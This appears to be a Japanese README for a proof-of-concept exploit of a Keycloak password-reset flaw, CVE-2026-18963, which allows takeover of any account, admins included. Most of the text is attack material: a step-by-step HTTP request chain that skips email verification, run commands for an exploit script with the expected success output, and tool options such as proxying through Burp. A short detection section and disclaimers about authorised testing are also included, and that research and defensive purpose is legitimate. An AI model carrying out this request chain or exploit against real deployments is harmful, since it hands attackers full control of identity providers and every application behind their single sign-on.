認証なしのアカウント乗っ取りが Keycloak の reset-credentials フローで発生します。 攻撃者は ユーザー名/メールアドレス だけを知っていれば、検証メールを受け取ることなく 管理者を含む 任意のユーザーのパスワードをリセットできます。
この概念実証は、教育目的、防御的研究、検知エンジニアリング、および許可を受けたセキュリティテストのためだけに公開されています。
完全な声明については DISCLAIMER.md を参照してください。
| CVE | CVE-2026-18963 |
| 重大度 | 緊急 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 弱点 | CWE-640 — 脆弱なパスワード回復メカニズム |
| 影響を受けるバージョン | Keycloak < 26.7.2 (upstream)。RH ビルドストリームも 26.6.6 / 26.4.15 バンドルで修正済み |
| 修正バージョン | Keycloak 26.7.2 (PR #51844) |
| 前提条件 | レルムで Forgot password (reset credentials) が有効 — デフォルト |
| 影響 | 任意のユーザー (レルム管理者を含む) の完全なアカウント乗っ取り → IdP の侵害 + SSO の横展開アクセス |
パスワードリセット (reset-credentials) フローでは、通常、新しいパスワードを設定する前に、アカウント所有者にメール送信されたリンクをクリックする必要があります。次の2つの欠陥により、攻撃者はこのチェックを完全にスキップできます。
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" を実行 ID にスコープされずに保存します。フローに再入場すると、認証セッションが混乱した/古い状態のままになります。ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに context.success() を呼び出します (つまり、メール送信されたアクショントークンが実際に消費されたことを確認しません)。これらを連鎖させると、メールを一切必要とせずに、認証セッションが任意のユーザーの UPDATE_PASSWORD ステップへ直接進みます。
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
注釈付きパッチ差分については docs/ROOTCAUSE.md を参照してください。
Docker と、requests を備えた Python 3 が必要です。
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
期待される出力の末尾:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
その後、victim / Pwned-2026! でログインして、乗っ取りを確認します。
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
すべての HTTP レスポンスは、検査用に ./dump/ に書き込まれます。
Keycloak は既に 8080 を使用しているため、Burp のリスナーを別のポート (例: 8081) に設定します:
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater 用の生のリクエストチェーンは requests/burp-chain.txt にあります。
同じ認証セッション内で、メール検証が行われていないパスワード変更を探します:
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN なしの UPDATE_PASSWORD イベント。tryAnotherWay=on を含む reset-credentials リクエストのバースト。tab_id に対する login-actions/reset-credentials への複数回の再入場。完全な実行記録は CVE-2026-18963.mp4 (リポジトリのルート内) にあります。
この攻撃チェーンは、公開されている Keycloak パッチ (PR #51844) およびコミュニティの解説記事と照合して裏付けられています。
MIT © red-darkin — 教育および許可されたテスト用途のみ。